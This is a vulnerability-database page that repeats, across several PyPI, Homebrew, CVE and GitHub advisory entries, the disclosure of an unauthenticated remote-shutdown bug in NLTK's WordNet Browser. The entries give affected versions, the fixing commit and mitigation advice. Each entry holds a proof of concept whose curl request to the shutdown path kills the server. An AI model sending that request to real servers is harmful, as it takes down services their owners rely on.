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PYSEC-2026-2236
Vulnerability from pysec - Published: 2026-03-20 23:16 - Updated: 2026-07-13 05:50
VLAI
Details
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.
Severity
7.5 (High)
Impacted products
| Name | purl | nltk | pkg:pypi/nltk |
|---|
Aliases
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "nltk",
"purl": "pkg:pypi/nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8",
"0.9",
"0.9.3",
"0.9.4",
"0.9.5",
"0.9.6",
"0.9.7",
"0.9.8",
"0.9.9",
"2.0.1",
"2.0.1rc1",
"2.0.1rc2-git",
"2.0.1rc3",
"2.0.1rc4",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0b4",
"2.0b5",
"2.0b6",
"2.0b7",
"2.0b8",
"2.0b9",
"3.0.0",
"3.0.0b1",
"3.0.0b2",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.1",
"3.2",
"3.2.1",
"3.2.2",
"3.2.3",
"3.2.4",
"3.2.5",
"3.3",
"3.4",
"3.4.1",
"3.4.2",
"3.4.3",
"3.4.4",
"3.4.5",
"3.5",
"3.5b1",
"3.6",
"3.6.1",
"3.6.2",
"3.6.3",
"3.6.4",
"3.6.5",
"3.6.6",
"3.6.7",
"3.7",
"3.8",
"3.8.1",
"3.9",
"3.9.1",
"3.9.2",
"3.9.3",
"3.9b1"
]
}
],
"aliases": [
"CVE-2026-33231",
"GHSA-jm6w-m3j8-898g"
],
"details": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.",
"id": "PYSEC-2026-2236",
"modified": "2026-07-13T05:50:16.724486Z",
"published": "2026-03-20T23:16:46.850Z",
"references": [
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-33231"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33231.json"
},
{
"type": "ADVISORY",
"url": "https://access.redhat.com/errata/RHSA-2026:19712"
},
{
"type": "ADVISORY",
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"type": "ADVISORY",
"url": "https://access.redhat.com/errata/RHSA-2026:37275"
},
{
"type": "REPORT",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2449836"
},
{
"type": "FIX",
"url": "https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"
},
{
"type": "EVIDENCE",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
BREW-ACRONYM-CVE-2026-33231 (GHSA-JM6W-M3J8-898G)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:34 – Updated: 2026-09-17 18:47 – Source website
VLAI
Summary
Unauthenticated remote shutdown in nltk.app.wordnet_app
Details
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
nltk/app/wordnet_app.py:242- The server listens on all interfaces:
-
server = HTTPServer(("", port), MyServerHandler) - Incoming requests are checked for the exact path:
-
if unquote_plus(sp) == "SHUTDOWN THE SERVER": -
The shutdown protection only depends on
server_mode - In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Severity
7.5 (High)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.9.4"
},
"package": {
"ecosystem": "Homebrew",
"name": "acronym",
"purl": "pkg:brew/acronym"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n - The server listens on all interfaces:\n - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n - Incoming requests are checked for the exact path:\n - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download(\u0027wordnet\u0027, quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER\u0027\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format \u0027{{.Names}}\\t{{.Status}}\u0027\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.",
"id": "BREW-acronym-CVE-2026-33231",
"modified": "2026-09-17T18:47:55Z",
"published": "2026-08-13T16:34:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33231"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated remote shutdown in nltk.app.wordnet_app",
"upstream": [
"GHSA-jm6w-m3j8-898g",
"CVE-2026-33231",
"PYSEC-2026-2236"
]
}
BREW-GPTLINE-CVE-2026-33231 (GHSA-JM6W-M3J8-898G)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:54 – Updated: 2026-09-17 19:32 – Source website
VLAI
Summary
Unauthenticated remote shutdown in nltk.app.wordnet_app
Details
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
nltk/app/wordnet_app.py:242- The server listens on all interfaces:
-
server = HTTPServer(("", port), MyServerHandler) - Incoming requests are checked for the exact path:
-
if unquote_plus(sp) == "SHUTDOWN THE SERVER": -
The shutdown protection only depends on
server_mode - In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Severity
7.5 (High)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.3",
"upstream_fixed_in": "3.9.4"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptline",
"purl": "pkg:brew/gptline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.8"
},
{
"fixed": "1.0.8_16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.3",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.3"
}
]
},
"details": "### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n - The server listens on all interfaces:\n - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n - Incoming requests are checked for the exact path:\n - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download(\u0027wordnet\u0027, quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER\u0027\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format \u0027{{.Names}}\\t{{.Status}}\u0027\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.",
"id": "BREW-gptline-CVE-2026-33231",
"modified": "2026-09-17T19:32:01Z",
"published": "2026-08-13T16:54:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33231"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated remote shutdown in nltk.app.wordnet_app",
"upstream": [
"GHSA-jm6w-m3j8-898g",
"CVE-2026-33231",
"PYSEC-2026-2236"
]
}
BREW-SAFETY-CVE-2026-33231 (GHSA-JM6W-M3J8-898G)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:33 – Updated: 2026-09-17 17:35 – Source website
VLAI
Summary
Unauthenticated remote shutdown in nltk.app.wordnet_app
Details
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
nltk/app/wordnet_app.py:242- The server listens on all interfaces:
-
server = HTTPServer(("", port), MyServerHandler) - Incoming requests are checked for the exact path:
-
if unquote_plus(sp) == "SHUTDOWN THE SERVER": -
The shutdown protection only depends on
server_mode - In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Severity
7.5 (High)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
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"name": "safety",
"purl": "pkg:brew/safety"
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},
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}
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}
],
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"confidence": "high",
"source": "matched",
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"details": "### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n - The server listens on all interfaces:\n - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n - Incoming requests are checked for the exact path:\n - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download(\u0027wordnet\u0027, quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER\u0027\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format \u0027{{.Names}}\\t{{.Status}}\u0027\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.",
"id": "BREW-safety-CVE-2026-33231",
"modified": "2026-09-17T17:35:56Z",
"published": "2026-08-13T17:33:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33231"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated remote shutdown in nltk.app.wordnet_app",
"upstream": [
"GHSA-jm6w-m3j8-898g",
"CVE-2026-33231",
"PYSEC-2026-2236"
]
}
CVE-2026-33231 (GCVE-0-2026-33231)
Vulnerability from cvelistv5 – Published: 2026-03-20 22:45 – Updated: 2026-09-09 12:04
VLAI
EPSS
VEX
Title
NLTK has unauthenticated remote shutdown in nltk.app.wordnet_app
Summary
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-25 13:43 UTC
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
9 references
| URL | Tags |
|---|---|
| https://github.com/nltk/nltk/security/advisories/… | x_refsource_CONFIRM |
| https://github.com/nltk/nltk/commit/bbaae83db86a0… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-33231 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2449836 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:24977 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:65126 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19712 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37275 | vendor-advisoryx_refsource_REDHAT |
Impacted products
11 products
| Vendor | Product | Version | |
|---|---|---|---|
| nltk | nltk |
Affected:
<= 3.9.3
|
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1780069222 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1780069226 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1787330903 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1778262893 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1778263054 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471606 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Lightspeed Core |
cpe:/a:redhat:lightspeed_core
|
|
| Red Hat | OpenShift Lightspeed |
cpe:/a:redhat:openshift_lightspeed
|
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2
|
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai
|
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"value": "To mitigate this vulnerability, ensure that the NLTK WordNet Browser HTTP server (`nltk.app.wordnet_app`) is not exposed to untrusted networks. If the WordNet Browser functionality is not required, disable or remove the component. For deployments where the server is necessary, configure firewall rules to restrict access to trusted hosts only. A service restart may be required for changes to take effect."
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GHSA-JM6W-M3J8-898G
Vulnerability from github – Published: 2026-03-19 12:42 – Updated: 2026-04-25 01:23
VLAI
Summary
Unauthenticated remote shutdown in nltk.app.wordnet_app
Details
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
nltk/app/wordnet_app.py:242- The server listens on all interfaces:
-
server = HTTPServer(("", port), MyServerHandler) - Incoming requests are checked for the exact path:
-
if unquote_plus(sp) == "SHUTDOWN THE SERVER": -
The shutdown protection only depends on
server_mode - In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.9.4"
}
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}
]
}
],
"aliases": [
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],
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"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:42:20Z",
"nvd_published_at": "2026-03-20T23:16:46Z",
"severity": "HIGH"
},
